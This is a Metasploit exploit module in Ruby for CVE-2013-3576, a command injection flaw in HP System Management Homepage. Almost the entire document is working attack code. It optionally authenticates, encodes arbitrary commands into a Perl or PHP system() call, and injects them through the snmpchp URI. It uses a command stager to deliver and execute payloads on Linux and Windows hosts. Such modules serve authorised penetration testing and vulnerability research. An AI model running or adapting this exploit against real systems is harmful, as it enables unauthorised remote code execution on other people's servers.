HP System Management Homepage JustGetSNMPQueue Command Injection

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::CmdStager
  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => "HP System Management Homepage JustGetSNMPQueue Command Injection",
      'Description'    => %q{
        This module exploits a vulnerability found in HP System Management Homepage.  By
        supplying a specially crafted HTTP request, it is possible to control the
        'tempfilename' variable in function JustGetSNMPQueue (found in ginkgosnmp.inc),
        which will be used in a exec() function.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Markus Wulftange',  # Discovery & multi-platform Metasploit module
          'sinn3r'             # initial Windows Metasploit module
        ],
      'References'     =>
        [
          ['CVE', '2013-3576'],
          ['OSVDB', '94191'],
          ['US-CERT-VU', '735364']
        ],
      'DefaultOptions' =>
        {
          'SSL' => true
        },
      'Platform'       => %w{ linux win },
      'Targets'        =>
        [
          ['Linux', {
            'Platform' => 'linux',
            'Arch' => ARCH_X86,
            'CmdStagerFlavor' => 'bourne'
          }],
          ['Linux (x64)', {
            'Platform' => 'linux',
            'Arch' => ARCH_X64,
            'CmdStagerFlavor' => 'bourne'
          }],
          ['Windows', {
            'Platform' => 'win',
            'Arch' => ARCH_X86,
            'CmdStagerFlavor' => 'vbs'
          }],
          ['Windows (x64)', {
            'Platform' => 'win',
            'Arch' => ARCH_X64,
            'CmdStagerFlavor' => 'vbs'
          }],
        ],
      'Privileged'     => false,
      'DisclosureDate' => '2013-06-11'
    ))

    register_options(
      [
        Opt::RPORT(2381),
        # USERNAME/PASS may not be necessary, because the anonymous access is possible
        OptString.new("USERNAME", [false, 'The username to authenticate as']),
        OptString.new("PASSWORD", [false, 'The password to authenticate with'])
      ])
  end

  def post_auth?
    true
  end

  def check
    @cookie = ''

    sig = Rex::Text.rand_text_alpha(10)
    cmd = "echo #{sig}&&whoami&&echo #{sig}"

    res = send_command(cmd)
    if not res
      vprint_error("Connection timed out")
      return Exploit::CheckCode::Unknown
    end

    if res.code == 200 && res.body =~ /#{sig}/
      vprint_good("Running with user '#{res.body.split(sig)[1].strip}'")
      return Exploit::CheckCode::Vulnerable
    end

    Exploit::CheckCode::Safe
  end


  def login
    username = datastore['USERNAME']
    password = datastore['PASSWORD']

    cookie = ''

    res = send_request_cgi({
      'method' => 'POST',
      'uri'    => '/proxy/ssllogin',
      'vars_post' => {
        'redirecturl'         => '',
        'redirectquerystring' => '',
        'user'                => username,
        'password'            => password
      }
    })

    if not res
      fail_with(Failure::Unknown, "#{peer} - Connection timed out during login")
    end

    # CpqElm-Login: success
    if res.headers['CpqElm-Login'].to_s =~ /success/
      cookie = res.get_cookies.scan(/(Compaq\-HMMD=[\w\-]+)/).flatten[0] || ''
    end

    cookie
  end


  def setup_stager
    execute_cmdstager(:temp => './', :linemax => 2800)
  end


  def execute_command(cmd, opts={})
    # Encodes command as sequence of hex values to be passed to the Perl/PHP
    # function `pack("N*", ...)` that is then used in a `system(...)` call.

    # trailing bytes need to be handled separately
    rem = cmd.size % 4
    if rem != 0
      last_bytes = ".chr(#{cmd[-rem..-1].each_byte.map(&:ord).join(").chr(")})"
      cmd = cmd[0...-rem]
    end

    # convert double words into hex representation
    dwords = cmd.each_byte.each_slice(4).map { |dw|
      sprintf("0x%x", dw.pack("C*").unpack("N")[0])
    }

    # build final Perl/PHP code that is getting executed
    script_code = "system(pack(chr(78).chr(42),#{dwords.join(",")})#{last_bytes});"

    # build Perl/PHP invocation command
    case target.opts['Platform']
    # Perl for Linux as it's more likely to be in the PATH
    when "linux" then cmd = "perl -e '#{script_code}'"
    # PHP for Windows
    when "win"   then cmd = "php -r #{script_code}"
    end

    res = send_command(cmd)
    if res && res.code != 200
      vprint_error("Unexpected response:\n#{res}")
      fail_with(Failure::Unknown, "There was an unexpected response")
    end
  end


  def send_command(cmd)
    if !datastore['USERNAME'].to_s.empty? && !datastore['PASSWORD'].to_s.empty? && @cookie.empty?
      @cookie = login
      if @cookie.empty?
        fail_with(Failure::NoAccess, "#{peer} - Login failed")
      else
        print_good("Logged in as '#{datastore['USERNAME']}'")
      end
    end

    req_opts = {}
    req_opts['uri'] = generate_uri(cmd)
    unless @cookie.empty?
      browser_chk = 'HPSMH-browser-check=done for this session'
      curl_loc    = "curlocation-#{datastore['USERNAME']}="
      req_opts['cookie'] = "#{@cookie}; #{browser_chk}; #{curl_loc}"
    end

    send_request_raw(req_opts)
  end


  def generate_uri(cmd)
    "#{normalize_uri("smhutil","snmpchp/")}&#{cmd.gsub(/ /, "%20")}&&echo"
  end


  def exploit
    @cookie = ''

    setup_stager
  end
end